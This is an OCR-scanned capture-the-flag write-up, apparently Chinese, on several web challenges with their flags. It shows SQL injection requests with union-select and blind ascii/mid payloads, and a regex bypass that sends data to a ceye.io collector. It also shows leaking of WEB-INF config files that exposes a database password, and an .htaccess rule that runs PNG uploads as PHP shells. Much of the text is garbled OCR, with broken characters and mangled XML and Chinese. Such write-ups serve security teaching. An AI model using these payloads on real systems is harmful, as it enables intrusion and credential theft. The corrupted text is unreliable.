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select * from xxx where name='"' and school="'

and area='
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and score="";
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select * from xxx where name="'\' and school='aaaaaa'

and area='

and score="";

GET /?name=boo0m\&tean=uniontselect+l,flag,3,4,5+fron+flage23sarea= BITP/1.1
Host: 202.120.7.205:7981

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.11; rv:49.0) Gecko/20100101
Firefox/49.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://202.120.7.205:7981/

Connection: close

Upgrade-Insecure-Requests: 1
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sendflag(web100)
A X —Bjs
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BTTP/1.1 200 OK

Date: Mon, 31 Oct 2016 08:34:12 GNT
Server: Apache

vary: Accept-Encoding

Content-Length: 1801

Connection: close

Content-Type: text/html; charset=utf-g

<!DOCTYPE html>

<html lang="zh-CN">

<head>

<meta charset="utf-8" />

<title>EIS BEHFEM</title>
<link rel="stylesheet” hre
<link rel="stylesheet” hre /css/bootstrap-theme.min.css">
<script sre="./js/jquery-3.1.l.min.js"></script>
<script src="./js/bootstrap.min.js"></script>

</head>

<body>

"./css/bootstrap.min.css”>

<nav class="navbar navbar-inverse’>
<div class="container">
<a class="navbar-brand” href="./">EIS BHRK</a>
<ul class="nav navbar-nav">
<li class="active'><a href="./">IEiE%</a></li>
</ul>
</div>
</nav>
<div class="container” styl
<p><form action="./" method
<div class="btn-group”>&F: </div>
<div class="btn-group”><input type="text” name="name’ class="form-control”
size="10" value="booOm\" /></div>
<div class="btn-group”>&nbsp;$#: </div>
<div class="btn-group”><input type="text" name="team” class="form-control”
size="20" value="union select 1,flag,3,4,5 from flag#" /></div>
<div class="btn-group”>&nbsp;HIX: </div>
<div class="btn-group”><input type="text” name="area” class="form-control”
size="10" value="" /></div>
<div_class="btn-group”><button class="btn btn-primary btn-block”
type="submit">&ifl</button></div>
<div class="btn-group”><a class="btn btn-default btn-block”
href="./">BE&</a></div>
</form></p>
<div class="table-responsive”><table
class="table"><tr><th>#</th><th>HF</th><th>F</th><th>MX</th><th>HH</th></tr>
<tr><td>l</td><td>EIS{Scann3rs_NOt_Perf3ct_Enough_£Or_7his}</td><td><a
href="./?team=3">3</a></td><td><a href="./?area=4">d</a></td><td>B</td></tr>

max-width: 800px;">
ET">

</table></div>
</div>
</body>
</html>
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<script type="text/javascript">
$(document).ready(function() {
$("#email") .keyup(function() {
if ($("#email").val().match(/[A-Za-z0-9]{5, }@eis\.ctf/)) {
$("#submit").prop('disabled’, false);
} else {
$("#submit").prop('disabled’, true);
}
})s
})s

</script>
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Your email address is valid.
The flag is EIS{Bad_Reg3xp_Consid3red_Hamfui}
A copy of this flag will be sent to your mailbox later.

We'll send the flag to your mailbox:

aaaaa@eis.ctf.1wijBi.ceye.io

Forbidden(web100)

url:http://202.120.7.206:7734/

THEER403, TRENFMBERARIL /M AKR, FEEER T A/WEB-INF/web.xml

http://202.120.7.206:7734/WEB-INF/web.xml



This ¥ML file does not appear to have any style information associated with it. The document tree is showm below.

v <web—app =mlna="http://java. sun. com/zml/mz/ javaee” wmlns:xsi="http:/ S www. w3, org/ 2001,/ FMSchena—instance” wersion="3.0" x=zi:schemalocation="1
<display-name/ >
viyeloome—file-list>
<yeloome-filerin. jsp</welcome—filel
<fuwelcome—file-lisztX
vifilter>
«filter-nameratrut=2</filter-name>
vefilter-class>
org. apache. strut=z2, dizpatcher. ng. filter. StrutsPrepareindEzecuteFilter
</filter-class>
< filters
vifilter-mapping>
filter-namerstrute?</filter-name>
furl-patterns#, action{ url-pattern>
<ffilter-mapping >
v<{liztener>
v<listener—-class>
org. springframework. web. context. ContextLoaderLiztener
</listener-class>
Zfliztenery
v Lcontext—param>
{param-name?cont extConfiglocationd/ paran—rams >
<param-waluel/WEEB-INF/classesz/applicat ionContext. xnl</paran—wvalue’
<fcontext-param>
v igervlet:
<zervlet-namerLoadin5tartServlet{/zervlet-name>
<zervlet-clazsrutil. LoadInStartServlet </zervlet—-clas=s
<load-on-startuprl</ load-on—startup>
<faervletr
</ web—app>

REFERTHEMNANEE, TRUHESR

http://202.120.7.206:7734/WEB-INF/classes/applicationContext.xml

This ¥NL file does not appear to have any style information associated with i1t. The document tree is shown below.

¥ <beans zmlnz="http://www. springframework. org/schema/beans” xmlns:xsi="http:/Swww. w3, org/ 2001/ ML Schema-inst ance” wnlnz:aop="http:/www. springframework. org/s
xsizschemalocation=" hitp:/ wwnr. springframework. org/zchena/beans http://wnr. springframework. org/ schema/beans/ spring-beans-3. 0. x=d http:/ wnr. springframework
http:/fwwnr. springframework. org/ schema/tx/spring—tx. x=d ">
- fFRAinmotationfIRIBEER T —# B SessionFactory —>
<-- HiEEERE >
w<bean id="HibernateSessionFactory” clazs="org.springframework. orm. hibernate3. annotation. AnnotationSessionFactoryBean” >
<property name="configlocation” walue="classpath:hibernate. cfg. xml”/ >
< beany
v<bean id="HibernateDaoSupport” abstract="true” class="org.springframework. orm. hibernate3. support. HibernateDaoSupport™ >
<property name="sessionFactory” ref="HibernateSezsiorFactory” />
</bean>
- HEEER (FEEE FTEEFFHEEMISEZIHEE) —
v<bean id="transactiorManager” claz=="org.springframework. orm.hibernated. HibernateTransactionManager” >
<property name="sessionFactory” ref="HibernateSezsiorFactory” />
</bean>
v<{txradvice id="defaultTransactionddvice” transaction—manager="transactionManager”>
v {twrattributesl
<tx:method name="#" propagation="REQUIRED"/ >
<ftriattributes>
<ftxiadvice?
v <aop:configr
<aop:pointcout id="allService” expression="execution(# service..#.*(..))"/>
<aopradvizor advice-ref="defaultTransactionddvice” pointcut-ref="allSerwice” />
</aoproonfigy

<1-— BazeDao -->
<hean id="BazeDan” class="dao.BaseDacInpl” parent="HibernateDaoSupport”></bean:
<l-— Baselervice -->

v<bean id="BaseSerwvice” class="szerwvice.BaseServiceImpl”>
<property name="baszeDan” ref="BazeDan"/>
</bean>
d-- BEMBEEEH -
<import resource="springzml/Dispatcher.zml”/ >
<import reszource="springeml/Video.=zml®/ >
<import rescurce="springzml/Corfigure.zml”/ >
</beans>
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http://202.120.7.206:7734/WEB-INF/classes/hibernate.cfg.xml



This ¥ML file does not appear to have any style information associated with it. The document

<l-— Generated by MyEclipsze Hibernate Tools. -
v <hibernate-configuration:

v<zezzion—Tfactory>
{property name="dialect”»org. hibernate. dialect. MwSQLDialect </propertys
{property name="cornection.url”>jdbe:imyzql: /¥ localhost: 3306/ =vwd property>
{property name=" connect ion. username” droot< propert
{property name="cnnnecti0n.password"*EIS{Infcu_Digglng_HDT_Forbldden} ‘{ffprnperty>
{property name="connection. driver _class” scom. mysql. jdbe. Driver</propertys
<mapping claszs="bean.Video"/ >
{mapping class="bean.Category" />
<mapping class="bean.Videostate" />
<mapping class="bean. Configure”/ >

</zezzion-factorv>
Z/hibernat e—configurations
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eis cloud(web300)
% _E4E—~~.htaccess, ¥t B F K phpf@iriT 7.

AddType application/x-httpd-php .png
php_flag engine 1
B A& fpngashellit v] AR 24 i php AT -

Ivar/wwwi/flag.txt

FEEFEEZIEPHPIAT, FlagfE X BA4axt e
EIS{S3curlty CoOnf_Easily Overrldd3n}

login(web300)
W, mUK—E, R, EFS L.

BIRHIBE, 5T HER ) BT LA RGBT —Mnoncelfitoken, 33 R B & Hilexp R NAE DL K& Bk B R burpil .
PS: 1REERRIXMokenfI A B A R IAIE, FF#H cookie, WIRA S AME, ATUHTEERE.



$(document) .keydown(function(e) {
if (e.keyCode == 222 || e.keyCode == 188 || e.keyCode == 190) {
alert("Illegal character");
return false;

1)

function getnonce() {
var text = "";
var possible = "©123456789abcdef";
for (var i = @; i < 40; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
}
$("#submit').click(function() {

this._nonce = getnonce();

1)

AR EE27AL -

a' or length(password)=274#

AR F R fascig33 - 126, A2k, —hfii X P HdE.

a' or ascii(mid(password,1,1))>1#

B J5 AT LA1E B %15 & MySuperLOng&&SecurePa$$word
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